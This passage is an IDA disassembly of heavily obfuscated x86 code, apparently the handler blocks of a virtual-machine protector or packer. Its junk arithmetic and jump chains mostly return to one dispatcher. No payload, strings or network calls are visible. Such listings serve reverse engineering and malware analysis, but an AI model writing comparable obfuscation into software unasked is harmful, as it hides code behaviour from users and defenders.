		jmp	loc_59A4F0
; ---------------------------------------------------------------------------


loc_5910E9:				; CODE XREF: sub_58A891+6196j
		jle	loc_5972B1
		jmp	loc_5970E7
; ---------------------------------------------------------------------------


loc_5910F4:				; CODE XREF: sub_58A891+796Dj
		add	edx, 4
		sub	esp, 4
		mov	[esp+44h+var_44], edi
		mov	edi, 45347FC6h
		jmp	loc_59B7A5
; ---------------------------------------------------------------------------


loc_59110D:				; CODE XREF: sub_58A891+E194j
		xchg	edi, [esp+44h+var_44]
		mov	esp, [esp+44h+var_44]
		jmp	loc_58E712
; ---------------------------------------------------------------------------


loc_591118:				; CODE XREF: sub_58A891+8F70j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59111D:				; CODE XREF: sub_58A891+BDBBj
		jg	loc_5944B4
		push	edi
		mov	edi, 0EC4CF95Ch
		add	ebp, edi
		pop	edi
		pop	ecx


loc_59112D:				; CODE XREF: sub_58A891+FBE2j
		sub	ebx, 33455B0Eh
		jmp	loc_599431
; ---------------------------------------------------------------------------


loc_591138:				; CODE XREF: sub_58A891+1044Ej
		mov	dh, 8Bh
		jmp	loc_591B18
; ---------------------------------------------------------------------------


loc_59113F:				; CODE XREF: sub_58A891+DE7Bj
		shl	byte ptr [esp+40h+var_40], cl
		pushf
		jmp	loc_59952D
; ---------------------------------------------------------------------------


loc_591148:				; CODE XREF: sub_58A891+10E88j
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+44h+var_44]
		pop	esp
		jmp	loc_59B602
; ---------------------------------------------------------------------------


loc_59115B:				; CODE XREF: sub_58A891+EA8Dj
		push	eax
		mov	eax, 16BC009Ah
		sub	eax, 28A6519Dh
		shl	eax, 1
		jmp	loc_5950A5
; ---------------------------------------------------------------------------


loc_59116D:				; CODE XREF: sub_58A891+AA66j
		push	[esp+44h+var_44]
		jmp	loc_592CC3
; ---------------------------------------------------------------------------


loc_591175:				; CODE XREF: sub_58A891+FAA1j
		push	[esp+48h+var_44]
		mov	edx, [esp+4Ch+var_4C]
		push	7F2Bh
		mov	[esp+50h+var_50], ebx
		jmp	loc_596A2D
; ---------------------------------------------------------------------------


loc_591189:				; CODE XREF: sub_58A891+EB9Bj
					; sub_58A891+EE30j
		mov	ebp, 4
		jmp	loc_5982C1
; ---------------------------------------------------------------------------


loc_591193:				; CODE XREF: sub_58A891+B22Dj
		pop	ebp
		jmp	loc_591DA7
; ---------------------------------------------------------------------------


loc_591199:				; CODE XREF: sub_58A891+C50Cj
		pop	edx
		jmp	loc_592CEB
; ---------------------------------------------------------------------------


loc_59119F:				; CODE XREF: sub_58A891+497Bj
		mov	eax, 0AEF4E58h
		mov	edx, 0F6D92219h
		jmp	loc_594301
; ---------------------------------------------------------------------------


loc_5911AE:				; DATA XREF: sub_58A891+3B97o
		mov	ax, fs:[edx]
		push	edi
		push	26D0h
		push	esp
		pop	[esp+14h+var_14]
		push	ecx
		mov	ecx, 4
		add	[esp+14h+var_10], ecx
		pop	ecx
		mov	edi, [esp+10h+var_10]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	edi, 38AA0160h
		add	edi, esi
		sub	edi, 38AA0160h
		pop	esi
		push	ecx
		mov	ecx, 2
		add	edi, 1A245C63h
		jmp	loc_58FF48
; ---------------------------------------------------------------------------


loc_5911F6:				; CODE XREF: sub_58A891+BE68j
		mov	ah, dh
		pop	edx
		jmp	loc_58F0CD
; ---------------------------------------------------------------------------


loc_5911FE:				; CODE XREF: sub_58A891+D907j
		sub	esp, 4
		mov	[esp+10h+var_10], ebp
		jmp	loc_597ED8
; ---------------------------------------------------------------------------


loc_591209:				; CODE XREF: sub_58A891+FB61j
		inc	esi
		shl	esi, 5
		not	esi
		jmp	loc_58F384
; ---------------------------------------------------------------------------


loc_591214:				; CODE XREF: sub_58A891:loc_591BF4j
		xor	esi, 13AD57C4h
		add	edi, 27D742CFh
		add	edi, esi
		sub	edi, 27D742CFh
		pop	esi
		add	edi, 4B37F273h
		add	eax, edi
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_592FED
; ---------------------------------------------------------------------------


loc_59123C:				; CODE XREF: sub_58A891+65F2j
		mov	[esp+4+var_4], edx
		jmp	loc_58ECD8
; ---------------------------------------------------------------------------


loc_591244:				; CODE XREF: sub_58A891+B7C6j
		add	ebp, 0C600A79h
		jmp	loc_59237D
; ---------------------------------------------------------------------------


loc_59124F:				; CODE XREF: sub_58A891+A100j
		add	ebp, edi
		pop	edi
		add	ebp, 2
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		jmp	loc_59357A
; ---------------------------------------------------------------------------


loc_591263:				; CODE XREF: sub_58A891+CAECj
		pop	edi
		sub	edx, 0ED328D5h
		add	edx, ebp
		jmp	loc_590C4A
; ---------------------------------------------------------------------------


loc_591271:				; CODE XREF: sub_58A891+440Dj
		sub	[esp+0], ax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59127B:				; CODE XREF: sub_58A891+D4DCj
		pop	eax
		jmp	loc_58E793
; ---------------------------------------------------------------------------


loc_591281:				; CODE XREF: sub_58A891+9230j
					; sub_58A891+ABB4j
		push	ebp
		mov	bp, 3B8Dh
		push	ax
		jmp	loc_594A03
; ---------------------------------------------------------------------------


loc_59128D:				; CODE XREF: sub_58A891:loc_591689j
		sub	esi, 0FC27F93Fh
		jmp	loc_59A8CC
; ---------------------------------------------------------------------------


loc_591298:				; CODE XREF: sub_58A891+A1D3j
					; sub_58A891+C018j
		neg	ecx
		jmp	loc_5944B4
; ---------------------------------------------------------------------------


loc_59129F:				; CODE XREF: sub_58A891+5D9Ej
					; sub_58A891+8415j
		push	eax
		jmp	loc_59495D
; ---------------------------------------------------------------------------


loc_5912A5:				; DATA XREF: sub_58A891+3ADBo
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp+6+var_8+2], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5912B4:				; CODE XREF: sub_58A891+8188j
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], eax
		push	ebx
		mov	bh, dl
		push	6173h
		mov	[esp+16h+var_18+2], ecx
		mov	ch, bh
		mov	al, ch
		mov	ecx, [esp+16h+var_18+2]
		add	esp, 4
		pop	ebx
		push	ebx
		mov	bl, al
		jmp	loc_59BAEA
; ---------------------------------------------------------------------------


loc_5912DB:				; CODE XREF: sub_58A891+FE22j
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5912E6:				; CODE XREF: sub_58A891+A3C8j
		pop	esp
		pop	[esp+0Ah+var_C+2]
		pop	esp
		push	5146h
		mov	[esp+6+var_8+2], ebp
		push	200h
		jmp	loc_590194
; ---------------------------------------------------------------------------


loc_5912FD:				; CODE XREF: sub_58A891+A3ABj
		sub	esp, 4
		jmp	loc_58E638
; ---------------------------------------------------------------------------


loc_591308:				; CODE XREF: sub_58A891+4088j
		push	edx
		push	6745h
		jmp	loc_599F1D
; ---------------------------------------------------------------------------


loc_591313:				; CODE XREF: sub_58A891+A684j
					; DATA XREF: sub_58A891+3A2Fo
		mov	ax, word ptr [esp+8+var_8]
		jmp	loc_59AB79
; ---------------------------------------------------------------------------


loc_59131C:				; CODE XREF: sub_58A891+8370j
		pop	ebx
		xor	ch, dh
		jmp	loc_590D54
; ---------------------------------------------------------------------------


loc_591324:				; CODE XREF: sub_58A891+CC95j
		sub	ah, 72h
		jmp	loc_59961C
; ---------------------------------------------------------------------------


loc_59132C:				; CODE XREF: sub_58A891+AA8Aj
		xchg	ecx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		sar	byte ptr [esp+4+var_4],	cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59133B:				; CODE XREF: sub_58A891+EFB3j
		mov	esi, ebx
		pop	ebx
		neg	esi
		or	esi, 46AA598Fh
		jmp	loc_591883
; ---------------------------------------------------------------------------


loc_59134B:				; CODE XREF: sub_58A891+5319j
		add	dh, ah
		pop	eax
		add	ch, 0D8h
		add	ch, 82h
		add	ch, dh
		sub	ch, 82h
		jmp	loc_59728F
; ---------------------------------------------------------------------------


loc_59135E:				; CODE XREF: sub_58A891+7E0Dj
		sub	edx, ebp
		pop	ebp
		and	edx, 1CE3772h
		and	edx, 4A3E7A36h
		xor	edx, 82004h
		add	ebp, edx
		jmp	loc_5979EB
; ---------------------------------------------------------------------------


loc_59137A:				; CODE XREF: sub_58A891+9665j
		pop	[esp+3Ch+var_3C]
		sub	esp, 4
		mov	[esp+3Ch+var_3C], ecx
		jmp	loc_5914D0
; ---------------------------------------------------------------------------


loc_59138B:				; CODE XREF: sub_58A891+6789j
		push	edi
		mov	edi, 701615F7h
		jmp	loc_59A88C
; ---------------------------------------------------------------------------


loc_591396:				; CODE XREF: sub_58A891+10A40j
		push	esi
		jmp	loc_5954B0
; ---------------------------------------------------------------------------


loc_59139C:				; CODE XREF: sub_58A891+AB76j
		mov	ecx, edx
		jmp	loc_5941A4
; ---------------------------------------------------------------------------


loc_5913A3:				; CODE XREF: sub_58A891+DCA2j
		shr	edi, 6
		push	ebx
		mov	ebx, 510D73CBh
		push	ecx
		mov	ecx, 743304F2h
		jmp	loc_58F0C0
; ---------------------------------------------------------------------------


loc_5913B7:				; CODE XREF: sub_58A891+CE11j
		push	[esp+1Ch+var_18]
		mov	ebx, [esp+20h+var_20]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+24h+var_24]
		pop	esp
		pop	[esp+20h+var_20]
		jmp	loc_5907F6
; ---------------------------------------------------------------------------


loc_5913D9:				; CODE XREF: sub_58A891+4064j
		push	3C3Dh
		mov	[esp+0Ch+var_C], esi
		push	esp
		jmp	loc_59A885
; ---------------------------------------------------------------------------


loc_5913E7:				; CODE XREF: sub_58A891+42A1j
		mov	[esp+34h+var_34], ebp
		mov	ebp, 57AF0DABh
		jmp	loc_59701E
; ---------------------------------------------------------------------------


loc_5913F4:				; CODE XREF: sub_58A891+D179j
		add	ecx, 0C30137Fh
		jmp	loc_590393
; ---------------------------------------------------------------------------


loc_5913FF:				; CODE XREF: sub_58A891+55BDj
		neg	ecx
		jno	loc_58E680
		shr	ecx, 4
		jnp	loc_59A40E
		mov	bl, 0B9h
		push	ecx


loc_591414:				; CODE XREF: sub_58A891+613Dj
		inc	edi
		js	loc_595DEB
		sub	edi, 0E6AACFBEh
		push	edi
		mov	edi, 3477822h
		mov	eax, 59184B41h
		xor	eax, edi
		pop	edi
		jmp	loc_59744E
; ---------------------------------------------------------------------------


loc_591434:				; CODE XREF: sub_58A891+4C84j
		push	5820h
		mov	[esp+16h+var_18+2], esp
		add	[esp+16h+var_18+2], 4
		pop	[esp+16h+var_18+2]
		jmp	loc_59063B
; ---------------------------------------------------------------------------


loc_591448:				; CODE XREF: sub_58A891+EF37j
		mov	edi, esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+16h+var_18+2]
		pop	esp
		mov	[esp+12h+var_14+2], eax
		push	ecx
		mov	ecx, 55530610h
		shr	ecx, 7
		xor	ecx, 7B437A2Dh
		add	ecx, 841623E3h
		push	ebx
		mov	ebx, ecx
		jmp	loc_596177
; ---------------------------------------------------------------------------


loc_59147D:				; CODE XREF: sub_58A891+9F0Fj
		pop	esp
		mov	eax, edi
		pop	edi
		sub	esp, 4
		jmp	loc_5966AF
; ---------------------------------------------------------------------------


loc_591489:				; CODE XREF: sub_58A891+8B50j
					; sub_58A891+C35Ej
		not	[esp+16h+var_18+2]
		mov	ebx, [esp+16h+var_18+2]
		jmp	loc_592E84
; ---------------------------------------------------------------------------


loc_591494:				; CODE XREF: sub_58A891+8A13j
		xor	[esp+16h+var_14+2], ecx
		mov	ecx, [esp+16h+var_18+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+1Ah+var_1C+2]
		pop	esp
		jmp	loc_59BA17
; ---------------------------------------------------------------------------


loc_5914B0:				; CODE XREF: sub_58A891+7F76j
		mov	esp, [esp+16h+var_18+2]
		or	eax, eax
		jz	loc_599776
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], edx
		jmp	loc_59AA3A
; ---------------------------------------------------------------------------


loc_5914C9:				; CODE XREF: sub_58A891+4226j
		pop	ecx
		push	esi
		jmp	loc_599AB0
; ---------------------------------------------------------------------------


loc_5914D0:				; CODE XREF: sub_58A891+6AF5j
		push	4
		pop	ecx
		add	[esp+3Ch+var_38], 16AD07A4h
		add	[esp+3Ch+var_38], ecx
		jmp	loc_599229
; ---------------------------------------------------------------------------


loc_5914E7:				; CODE XREF: sub_58A891+7293j
					; sub_58A891+100A1j
		sub	ebp, 0A1683737h
		mov	eax, ebp
		jmp	loc_59AA05
; ---------------------------------------------------------------------------


loc_5914F4:				; CODE XREF: sub_58A891+A3EBj
		push	ebx
		mov	ebx, 6CD23DFCh
		add	ebx, 6E112F7h
		jmp	loc_591D0F
; ---------------------------------------------------------------------------


loc_591505:				; CODE XREF: sub_58A891+995Dj
		pop	eax
		jmp	loc_5929FB
; ---------------------------------------------------------------------------


loc_59150B:				; CODE XREF: sub_58A891+D562j
		xor	eax, [esp+3Ch+var_3C]
		jmp	loc_59B26D
; ---------------------------------------------------------------------------


loc_591513:				; CODE XREF: sub_58A891+4885j
		add	bl, 20h
		sub	bl, dl
		sub	bl, 20h
		pop	edx
		mov	cl, bl
		jmp	loc_59A650
; ---------------------------------------------------------------------------
		db 89h
; ---------------------------------------------------------------------------
		and	al, 24h
		sub	esp, 4
		jmp	loc_5968C0
; ---------------------------------------------------------------------------


loc_59152E:				; CODE XREF: sub_58A891+C154j
		mov	esi, 1C383E87h
		mov	ebx, esi
		mov	esi, [esp+30h+var_30]
		add	esp, 4
		xor	ebx, 3A1D5A20h
		add	edi, ebx
		jmp	loc_58EF75
; ---------------------------------------------------------------------------


loc_591548:				; CODE XREF: sub_58A891+BF87j
		mov	[esp+2Ch+var_2C], ebx
		push	6C2A0433h
		pop	ebx
		shr	ebx, 6
		push	esi
		mov	esi, 1
		sub	ebx, 25C30EFBh
		sub	ebx, esi
		add	ebx, 25C30EFBh
		pop	esi
		jmp	loc_590B09
; ---------------------------------------------------------------------------


loc_59156E:				; CODE XREF: sub_58A891+8A4Cj
					; sub_58A891+1004Aj
		push	esp
		mov	ebp, [esp+30h+var_30]
		jmp	loc_59570C
; ---------------------------------------------------------------------------


loc_591577:				; CODE XREF: sub_58A891+6217j
		add	esi, 0F394A741h
		mov	edi, esi
		jmp	loc_598370
; ---------------------------------------------------------------------------


loc_591584:				; CODE XREF: sub_58A891+FC3Dj
		sub	esp, 4
		mov	[esp+18h+var_18], ecx
		mov	ecx, 34696334h
		jmp	loc_599BE8
; ---------------------------------------------------------------------------


loc_591597:				; CODE XREF: sub_58A891+DB7Ej
					; sub_58A891+F1E5j
		pop	edi
		sub	ebp, 7BC43DF6h
		add	ebp, ebx
		push	eax
		mov	eax, 78965079h
		dec	eax
		shl	eax, 4
		shr	eax, 3
		jmp	loc_59391B
; ---------------------------------------------------------------------------


loc_5915B2:				; CODE XREF: sub_58A891+99F4j
		pop	ax
		jmp	loc_596589
; ---------------------------------------------------------------------------


loc_5915B9:				; CODE XREF: sub_58A891+E379j
		add	ebp, 69055E2Eh
		pop	edx
		sub	esp, 4
		mov	[esp+16h+var_18+2], ebp
		push	[esp+16h+var_14+2]
		mov	ebp, [esp+1Ah+var_1C+2]
		jmp	loc_5916DB
; ---------------------------------------------------------------------------


loc_5915D5:				; CODE XREF: sub_58A891+9C92j
		inc	al
		jns	loc_598D2D
		neg	al
		jz	loc_59711C
		and	al, 0B2h
		jmp	loc_5916FF
; ---------------------------------------------------------------------------


loc_5915EC:				; CODE XREF: sub_58A891+9968j
		not	ebx
		push	edx
		mov	edx, 0DE9FAB7Bh
		xor	ebx, edx
		mov	edx, [esp+1Eh+var_20+2]
		jmp	loc_596493
; ---------------------------------------------------------------------------


loc_5915FE:				; CODE XREF: sub_58A891+9158j
		add	ecx, 6838AE26h
		inc	ecx
		jle	loc_58E706
		dec	ecx
		jl	loc_58EA3F
		jmp	loc_5987B6
; ---------------------------------------------------------------------------


loc_591617:				; CODE XREF: sub_58A891+7568j
		push	esi
		jmp	loc_596CE0
; ---------------------------------------------------------------------------


loc_59161D:				; CODE XREF: sub_58A891+4243j
		push	esp
		pop	ebp
		push	6BCAh
		mov	[esp+40h+var_40], eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xor	ebp, [esp+3Ch+var_3C]
		xor	[esp+3Ch+var_3C], ebp
		xor	ebp, [esp+3Ch+var_3C]
		jmp	loc_597920
; ---------------------------------------------------------------------------


loc_591640:				; CODE XREF: sub_58A891+E012j
		mov	esi, esp
		push	7639h
		mov	[esp+40h+var_40], eax
		mov	eax, 0D85221Ah
		not	eax
		or	eax, 34191008h
		jno	loc_599E93
		sub	eax, 5EC818FDh
		jmp	loc_5973AB
; ---------------------------------------------------------------------------
		mov	ah, 66h
		pop	eax


loc_591669:				; CODE XREF: sub_58A891+7FE6j
		add	al, 0F2h
		add	al, bh
		push	bx
		mov	bl, 0F2h
		add	al, 0E8h
		sub	al, bl
		push	cx
		mov	cl, 0E8h
		jmp	loc_58F1EE
; ---------------------------------------------------------------------------


loc_59167E:				; CODE XREF: sub_58A891+3E70j
		add	edx, 4D547CEBh
		jmp	loc_598543
; ---------------------------------------------------------------------------


loc_591689:				; CODE XREF: sub_58A891+8E77j
		jmp	loc_59128D
; ---------------------------------------------------------------------------


loc_59168E:				; CODE XREF: sub_58A891+75BEj
		mov	[edi+eax*4+1], cl
		pop	ecx
		jmp	loc_5944C2
; ---------------------------------------------------------------------------


loc_591698:				; CODE XREF: sub_58A891+3E7Cj
		push	esi
		jmp	loc_59B388
; ---------------------------------------------------------------------------


loc_59169E:				; CODE XREF: sub_58A891+79A0j
		mov	edx, 7798721Dh
		jmp	loc_590C2C
; ---------------------------------------------------------------------------


loc_5916A8:				; CODE XREF: sub_58A891+A762j
		sub	eax, 2C810B7Fh
		jl	loc_593337
		jmp	loc_59B1B2
; ---------------------------------------------------------------------------
		add	eax, 2
		or	al, 37h
		mov	edi, edx


loc_5916C1:				; CODE XREF: sub_58A891+A27Ej
		push	edx
		mov	edx, 2A26131Eh
		sub	esi, edx
		mov	edx, [esp+5Ch+var_5C]
		add	esp, 4
		push	edi
		mov	edi, 59817567h
		xchg	eax, edi
		jmp	loc_59852D
; ---------------------------------------------------------------------------


loc_5916DB:				; CODE XREF: sub_58A891+6D3Fj
		add	esp, 4
		pop	[esp+16h+var_18+2]
		pop	esp
		push	ecx
		mov	ecx, 0
		sub	ecx, 647ACDh
		add	ecx, edx
		jmp	loc_58E913
; ---------------------------------------------------------------------------


loc_5916F8:				; CODE XREF: sub_58A891+801Cj
		mov	ah, 4Eh
		jmp	loc_599F72
; ---------------------------------------------------------------------------


loc_5916FF:				; CODE XREF: sub_58A891+4568j
					; sub_58A891+6D56j
		mov	[esp-0Ch+arg_4], edx
		jmp	loc_58FFD3
; ---------------------------------------------------------------------------


loc_591707:				; CODE XREF: sub_58A891+10E33j
		pop	edi
		mov	ebp, [esp+0]
		jmp	loc_58F16B
; ---------------------------------------------------------------------------


loc_591710:				; DATA XREF: sub_58A891+3AAFo
		mov	cx, word ptr [esp+8+var_8]
		push	ebp
		mov	ebp, esp
		jmp	loc_596812
; ---------------------------------------------------------------------------


loc_59171C:				; CODE XREF: sub_58A891+C8BBj
		and	si, 4388h
		jmp	loc_593AC0
; ---------------------------------------------------------------------------


loc_591726:				; CODE XREF: sub_58A891+8D55j
					; sub_58A891+AB9Bj
		add	esp, 4
		push	eax
		jmp	loc_58EF46
; ---------------------------------------------------------------------------


loc_59172F:				; CODE XREF: sub_58A891+10711j
		push	eax
		jmp	loc_58FCE2
; ---------------------------------------------------------------------------


loc_591735:				; CODE XREF: sub_58A891+72E4j
		push	ebx
		mov	bl, 59h
		jmp	loc_58E9EA
; ---------------------------------------------------------------------------


loc_59173D:				; CODE XREF: sub_58A891+D093j
		popf
		retn
; ---------------------------------------------------------------------------
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_591744:				; CODE XREF: sub_58A891+48C3j
					; sub_58A891+7915j
		push	71BBh
		jmp	loc_58F0DE
; ---------------------------------------------------------------------------


loc_59174E:				; CODE XREF: sub_58A891+C7EAj
		xor	ecx, [esp+10h+var_10]
		pop	esp
		mov	[esp+0Ch+var_C], eax
		jmp	loc_5986AC
; ---------------------------------------------------------------------------


loc_59175A:				; CODE XREF: sub_58A891+9FF1j
					; sub_58A891+FA4Bj
		pop	ebx
		jmp	loc_5998E1
; ---------------------------------------------------------------------------


loc_591760:				; CODE XREF: sub_58A891+AD5Bj
		mov	edi, 4
		add	edx, edi
		jmp	loc_5972ED
; ---------------------------------------------------------------------------


loc_59176C:				; CODE XREF: sub_58A891+893Bj
		pop	ebp
		add	eax, edx
		add	eax, 2FF742E9h
		jmp	loc_59B28C
; ---------------------------------------------------------------------------


loc_591779:				; CODE XREF: sub_58A891+4D61j
		push	eax
		mov	eax, 769B1C92h
		sub	eax, 7557FF13h
		push	edx
		mov	edx, 6E9969C0h
		jmp	loc_59637D
; ---------------------------------------------------------------------------


loc_59178F:				; CODE XREF: sub_58A891+F8F3j
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		sub	edi, 4
		xchg	edi, [esp+48h+var_48]
		pop	esp
		mov	[esp+44h+var_44], ecx
		sub	esp, 4
		mov	[esp+48h+var_48], edx
		push	ecx
		mov	ch, 3Dh
		mov	dl, ch
		pop	ecx
		jmp	loc_58EE1B
; ---------------------------------------------------------------------------


loc_5917B9:				; CODE XREF: sub_58A891+DCE2j
		sub	eax, 4D7E6DC8h
		sub	eax, ebp
		add	eax, 4D7E6DC8h
		jmp	loc_5995D1
; ---------------------------------------------------------------------------


loc_5917CA:				; CODE XREF: sub_58A891+F5CAj
		sub	edi, 54663A55h
		mov	ebp, [esp+48h+var_48]
		add	esp, 4
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	ebp
		mov	ebp, 2A0018F5h
		push	38DAh
		mov	[esp+50h+var_50], ebx
		push	ecx
		jmp	loc_59667F
; ---------------------------------------------------------------------------


loc_5917F3:				; CODE XREF: sub_58A891+FC27j
		push	edx
		mov	edx, 4F30C8Fh
		add	ebx, edx
		pop	edx
		jmp	loc_596973
; ---------------------------------------------------------------------------


loc_591801:				; DATA XREF: sub_58A891+3BB7o
		mov	eax, [esp+8+var_8]
		jmp	loc_59ADFE
; ---------------------------------------------------------------------------


loc_591809:				; CODE XREF: sub_58A891+FB69j
		add	ecx, 4
		jmp	loc_590E7E
; ---------------------------------------------------------------------------


loc_591814:				; DATA XREF: sub_58A891+3A27o
		mov	ax, word ptr [esp+8+var_8]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], eax
		push	esp
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		add	eax, 4
		push	ecx
		push	2
		mov	ecx, [esp+10h+var_10]
		jmp	loc_59AED3
; ---------------------------------------------------------------------------


loc_59184B:				; CODE XREF: sub_58A891+D54Dj
		sub	esp, 4
		jmp	loc_59B734
; ---------------------------------------------------------------------------


loc_591856:				; CODE XREF: sub_58A891+98BCj
		add	eax, 4
		xchg	eax, [esp+14h+var_14]
		pop	esp
		shl	si, 7
		jmp	loc_59197D
; ---------------------------------------------------------------------------


loc_591866:				; CODE XREF: sub_58A891+AA7Bj
		shr	edx, 8
		neg	edx
		push	edx
		not	[esp+14h+var_14]
		inc	[esp+14h+var_14]
		pop	edx
		jmp	loc_599EAD
; ---------------------------------------------------------------------------


loc_591878:				; CODE XREF: sub_58A891+3EFDj
		xor	ecx, esi
		pop	esi
		sub	esi, ecx
		pop	ecx
		jmp	loc_590571
; ---------------------------------------------------------------------------


loc_591883:				; CODE XREF: sub_58A891+6AB5j
					; sub_58A891+C025j
		add	esi, 6F7B1693h
		sub	esi, 244A08C5h
		jmp	loc_59438A
; ---------------------------------------------------------------------------


loc_591894:				; CODE XREF: sub_58A891+B853j
		mov	[esp+4+var_4], eax
		jmp	loc_5966F6
; ---------------------------------------------------------------------------


loc_59189C:				; CODE XREF: sub_58A891+FDEBj
		jmp	loc_597DFF
; ---------------------------------------------------------------------------


loc_5918A1:				; CODE XREF: sub_58A891+56D0j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5918A6:				; CODE XREF: sub_58A891+F39Fj
		push	200000h
		push	[esp+4Ch+var_4C]
		push	[esp+50h+var_50]
		pop	edx
		add	esp, 4
		add	esp, 4
		and	eax, edx
		push	[esp+48h+var_48]
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+4Ch+var_4C]
		pop	esp
		or	eax, eax
		jz	loc_5975BA
		push	dword ptr [edi+28h]
		push	eax
		push	ebp
		jmp	loc_596D4B
; ---------------------------------------------------------------------------


loc_5918E3:				; CODE XREF: sub_58A891+C06Aj
		mov	[esp+54h+var_54], edi
		push	[esp+54h+var_50]
		pop	edi
		pop	[esp+54h+var_54]
		jmp	loc_597AD7
; ---------------------------------------------------------------------------


loc_5918F3:				; CODE XREF: sub_58A891+4704j
					; sub_58A891+8B1Cj
		mov	ecx, 60511C87h
		push	ecx
		xchg	eax, [esp+48h+var_48]
		not	eax
		jmp	loc_59999F
; ---------------------------------------------------------------------------


loc_591903:				; CODE XREF: sub_58A891+99BDj
		jge	loc_5927F7
		shr	edi, 3
		jmp	loc_599700
; ---------------------------------------------------------------------------


loc_591911:				; CODE XREF: sub_58A891+5FF2j
		push	ebp
		mov	ebp, 763385Ch
		inc	ebp
		add	ebp, 0F89CC7A5h
		mov	edx, ebp
		pop	ebp
		jmp	loc_5983A1
; ---------------------------------------------------------------------------


loc_591926:				; CODE XREF: sub_58A891+8433j
		add	esp, 4
		jmp	loc_59A673
; ---------------------------------------------------------------------------


loc_591931:				; CODE XREF: sub_58A891+A76Dj
		jmp	loc_59B5E8
; ---------------------------------------------------------------------------


loc_591936:				; CODE XREF: sub_58A891+B31Aj
		sub	ebx, edx
		pop	edx
		add	eax, 29EF3531h
		add	eax, ebx
		sub	eax, 29EF3531h
		pop	ebx
		mov	edx, eax
		jmp	loc_599921
; ---------------------------------------------------------------------------


loc_59194D:				; CODE XREF: sub_58A891+C5D6j
		sub	esp, 4
		mov	[esp-8+arg_0], ebp
		push	22E6h
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		pop	ebp
		jmp	loc_596674
; ---------------------------------------------------------------------------


loc_591965:				; CODE XREF: sub_58A891+1129Bj
		add	eax, 61423A8Ch
		jmp	loc_595491
; ---------------------------------------------------------------------------


loc_59196F:				; CODE XREF: sub_58A891+101E4j
		add	eax, ebx
		pop	ebx
		jmp	loc_5974E0
; ---------------------------------------------------------------------------


loc_591977:				; CODE XREF: sub_58A891+F68Fj
		push	edx
		jmp	loc_58F7F4
; ---------------------------------------------------------------------------


loc_59197D:				; CODE XREF: sub_58A891+6FD0j
		shl	si, 1
		jmp	loc_595D93
; ---------------------------------------------------------------------------


loc_591985:				; CODE XREF: sub_58A891+EA0Bj
		jmp	loc_596025
; ---------------------------------------------------------------------------


loc_59198A:				; CODE XREF: sub_58A891+F6F9j
		push	esi
		jmp	loc_59A3A6
; ---------------------------------------------------------------------------


loc_591990:				; CODE XREF: sub_58A891+EFD9j
		sub	eax, 4
		push	eax
		push	[esp+18h+var_14]
		pop	eax
		pop	[esp+18h+var_18]
		jmp	loc_59B868
; ---------------------------------------------------------------------------


loc_5919A1:				; DATA XREF: sub_58A891+3A8Fo
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp+6+var_8+2], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5919B1:				; CODE XREF: sub_58A891+8012j
		sub	eax, 4BDB0D9Dh
		add	eax, ecx
		add	eax, 4BDB0D9Dh
		jmp	loc_58FBC9
; ---------------------------------------------------------------------------


loc_5919C2:				; CODE XREF: sub_58A891+E20Dj
		jmp	loc_594DB6
; ---------------------------------------------------------------------------


loc_5919C7:				; CODE XREF: sub_58A891+4A14j
		sub	esi, 1267C5A2h
		mov	ebp, esi
		jmp	loc_596E50
; ---------------------------------------------------------------------------


loc_5919D4:				; DATA XREF: sub_58A891+3B43o
		mov	ax, word ptr [esp+8+var_8]
		push	esi
		push	esp
		jmp	loc_599E83
; ---------------------------------------------------------------------------


loc_5919DF:				; DATA XREF: sub_58A891+3997o
		push	[esp+8+var_8]
		pop	ecx
		push	5061h
		mov	[esp+0Ch+var_C], edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		push	edi
		push	6ADB65ADh
		mov	edi, [esp+18h+var_18]
		add	esp, 4
		jmp	loc_5947FB
; ---------------------------------------------------------------------------


loc_591A08:				; CODE XREF: sub_58A891+61EAj
		push	ecx
		mov	ch, 0C2h
		or	ch, 0F2h
		shr	ch, 6
		jmp	loc_59A8E5
; ---------------------------------------------------------------------------


loc_591A16:				; CODE XREF: sub_58A891+55A5j
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+4Ch+var_4C]
		xor	[esp+4Ch+var_4C], ebx
		xor	ebx, [esp+4Ch+var_4C]
		pop	esp
		push	5098h
		mov	[esp+4Ch+var_4C], ebp
		sub	esp, 4
		jmp	loc_59445E
; ---------------------------------------------------------------------------


